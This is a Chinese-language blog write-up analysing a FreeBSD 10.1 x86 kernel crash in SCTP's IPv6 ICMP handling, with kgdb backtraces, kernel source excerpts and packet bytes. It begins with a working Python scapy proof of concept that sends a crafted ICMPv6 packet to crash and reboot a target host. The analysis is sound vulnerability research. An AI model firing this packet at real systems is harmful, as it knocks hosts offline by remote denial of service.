FreeBSD 10.1 x86内核拒绝服务漏洞

作者:k0shl 转载请注明出处

漏洞说明


PoC:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
 
import argparse
from scapy.all import *
 
 
def get_args():
    parser = argparse.ArgumentParser(description='#' * 78, epilog='#' * 78)
    parser.add_argument("-m", "--dst_mac", type=str, help="FreeBSD mac address")
    parser.add_argument("-i", "--dst_ipv6", type=str, help="FreeBSD IPv6 address")
    parser.add_argument("-I", "--iface", type=str, help="Iface")
    options = parser.parse_args()
 
    if options.dst_mac is None or options.dst_ipv6 is None:
        parser.print_help()
        exit()
 
    return options
 
 
if __name__ == '__main__':
    options = get_args()
    sendp(Ether(dst=options.dst_mac) / IPv6(dst=options.dst_ipv6) / ICMPv6DestUnreach() /
      IPv6(nh=132,
      src=options.dst_ipv6,
      dst='fe80::20c:29ff:fe6e:24a0'),
      iface=options.iface)

测试环境:
FreeBSD 10.1 x86
kgdb


0x01 漏洞复现

此漏洞是由于FreeBSD在处理ipv6数据包时,某函数对于数据的检验不严格,导致若传入的ipv6结构体某成员函数为NULL时,在后续函数调用中会触发assert,导致freebsd进入异常处理机制,内核崩溃引发系统重启,下面对此漏洞进行详细分析。

首先对于漏洞环境的搭建我不讲解了,在我的微信公众号上发了一篇文章专门讲解FreeBSD环境的搭建,包括内核调试,vmtools安装等等,环境搭建好之后,通过执行poc.py,发现程序重启,重启过程中,/var/crash下会生成崩溃信息。

这里要提的是core.txt是崩溃信息的文本,而vmcore.0才是可以用kgdb调试的文件,通过kgdb,我们可以复现漏洞现场的信息。接下来我们通过kgdb对vmcore.0进行调试分析。

这里要提的一点是,在源代码分析的过程中,由于FreeBSD系统本身的问题,导致不能直接复制粘贴文件,我们可以通过putty的pscp进行源代码拷贝,以便进行代码级的分析。


0x02 漏洞分析


我们通过kgdb命令加载崩溃文件,进行调试分析

kgdb kernel.debug /var/crash/vmcore.0

命令执行后,进入跟gdb很像的界面,我们通过bt回溯堆栈调用过程。这里值得一提的是,在每一行回溯中,可以看到调用的函数,参数,以及后面可以看到对应源代码的位置(第几行),这样我们有内核源码可以很快的定位到源代码。

可以看到#1位置的堆栈已经调用了kern_reboot,这是内核令系统重启的函数,接着我们看到下面调用到了trap,trap是linux一个中断机制的函数,我们就从这里看起,首先在#6位置调用了exception.s的内容,实际上.s里面的代码是asm,我们来看一下exception.s第170行的内容。

calltrap:
    pushl   %esp
    call    trap
    add $4, %esp

实际上第170行的call trap函数调用,就是调用的#5中的trap函数,接下来我们到trap.c处第532行看一下代码。

        switch (type) {
        case T_PAGEFLT:         /* page fault */
            (void) trap_pfault(frame, FALSE, eva);
            goto out;

由此可见,在#6位置,已经进入到trap异常函数处理中,也就是说,漏洞真正的崩溃点,在#7位置,可以看到#7位置调用了m_copydata函数,通过源代码来看一下这个函数上下文。

void
m_copydata(const struct mbuf *m, int off, int len, caddr_t cp)
{
    u_int count;

    KASSERT(off >= 0, ("m_copydata, negative off %d", off));
    KASSERT(len >= 0, ("m_copydata, negative len %d", len));
    while (off > 0) {
        KASSERT(m != NULL, ("m_copydata, offset > size of mbuf chain"));
        if (off < m->m_len)
            break;
        off -= m->m_len;
        m = m->m_next;
    }
    while (len > 0) {
        KASSERT(m != NULL, ("m_copydata, length > size of mbuf chain"));//KEY!!!!
        count = min(m->m_len - off, len);
        bcopy(mtod(m, caddr_t) + off, cp, count);
        len -= count;
        cp += count;
        off = 0;
        m = m->m_next;
    }
}

关键部分我已经标注为KEY了,可以看到m作为一个结构体mbuf传入到函数中,在执行过程中经过了一次赋值m=m->next,最后在key位置崩溃,那么为什么会产生这个崩溃呢,我们需要获得参数信息。

但是在上面bt回溯的图中,可以看到m的值为value optimized out,说明这时栈出现了问题,但还有一种方法就是回到外层函数,看看外层函数参数传递的情况,这样我们追溯到#8位置。sctp6_usrreq.c第409行。

        m_copydata(ip6cp->ip6c_m, ip6cp->ip6c_off, sizeof(sh),
                    (caddr_t)&sh);

这里可以看到调用了m_copydata函数,它的第一个参数就是mbuf结构体,内容是ip6cp->ip6c_m,我们来看一下外层函数上下文。

void
sctp6_ctlinput(int cmd, struct sockaddr *pktdst, void *d)
{
    struct sctphdr sh;
    struct ip6ctlparam *ip6cp = NULL;
    uint32_t vrf_id;

    vrf_id = SCTP_DEFAULT_VRFID;

    if (pktdst->sa_family != AF_INET6 ||
        pktdst->sa_len != sizeof(struct sockaddr_in6))
        return;

    if ((unsigned)cmd >= PRC_NCMDS)
        return;
    if (PRC_IS_REDIRECT(cmd)) {
        d = NULL;
    } else if (inet6ctlerrmap[cmd] == 0) {
        return;
    }
    /* if the parameter is from icmp6, decode it. */
    if (d != NULL) {
        ip6cp = (struct ip6ctlparam *)d;//赋值关键语句
    } else {
        ip6cp = (struct ip6ctlparam *)NULL;
    }

    if (ip6cp) {
        /*
         * XXX: We assume that when IPV6 is non NULL, M and OFF are
         * valid.
         */
        /* check if we can safely examine src and dst ports */
        struct sctp_inpcb *inp = NULL;
        struct sctp_tcb *stcb = NULL;
        struct sctp_nets *net = NULL;
        struct sockaddr_in6 final;

        if (ip6cp->ip6c_m == NULL)
            return;

        bzero(&sh, sizeof(sh));
        bzero(&final, sizeof(final));
        inp = NULL;
        net = NULL;
        m_copydata(ip6cp->ip6c_m, ip6cp->ip6c_off, sizeof(sh),
            (caddr_t)&sh);

1、在函数入口处,定义了ip6cp结构体 struct ip6ctlparam *ip6cp = NULL;
2、在后面会对ip6cp赋值 ip6cp = (struct ip6ctlparam *)d;
3、在m_copydata处调用了ip6cp的成员函数ip6c_m,这里ip6c_m就是结构体m_buf

而赋值处,这个d就是在sctp6_ctlinput函数中传入的第三个参数void *d,这里经历了一次强制转换交给ip6cp,那么我们就需要跟踪一下这个d指针,这样我们再回到之前的bt调用处。

可以看到,此时d指针的值为 0xc33d77b8,我们可以通过p命令,来看一下这个地址的情况,通过对结构体的获取,可以看到具体的信息。

在这里我们可以看到具体结构体的信息,那么我们可以还原出这个结构体我们最关心的部分。

struct ip6ctlparam
{
mbuf *ip6c_m
int ip6c_off
……
}

这里只指出这个结构体最关键的两个部分,那么接下来,我们需要对即将传入m_copydata的mbuf进行跟踪,通过之前的查看可以看到这一处的值为0xc3accc00,继续通过p跟踪,同时这里的结构体改成mbuf。

这样我们就能看到m的内容了,这时,我们注意到mh_next=0x0,而当我们之前执行m_copydata的时候,有一处很关键的赋值。

        m = m->m_next;

这处赋值,正好处于漏洞发生位置的上方。

那么整个过程就很清楚了,在接收到ipv6数据包的时候,d参数存储的是接收到的某结构体类型,而这个类型中涉及到mbuf结构体,但这个结构体中的next位置值为0x0,也就是NULL,因此,在下面执行中,进入到assert处理函数。


0x03 ipv6数据包分析佐证


上述中提到的接收到ipv6数据包,其实,d参数所指的结构体类型,就是数据包中IP层以上的内容,我们通过发送端抓包可以看到内容。


我们去掉包头,看看TCP层+应用层的部分。

0000   60 00 00 00 00 30 3a 40 fe 80 00 00 00 00 00 00  `....0:@........
0010   02 0c 29 ff fe b7 75 da fe 80 00 00 00 00 00 00  ..)...u.........
0020   02 0c 29 ff fe 0c a2 b5                          ..).....
0000   60 00 00 00 00 00 84 40 fe 80 00 00 00 00 00 00  `......@........
0010   02 0c 29 ff fe 0c a2 b5 fe 80 00 00 00 00 00 00  ..).............
0020   02 30 56 ff fe a6 64 8c                          .0V...d.

这段字节长度是88字节,正好是ip6ctlparam结构体中ip6c_off的长度,之前的图中也可以看到,长度为88字节,因此d结构体内容为ipv6数据包中的内容。

同时我们可以通过上面数据包的截图看到其中

Payload length: 0

也正是漏洞mh_next=0x0的原因。

Comments
Write a Comment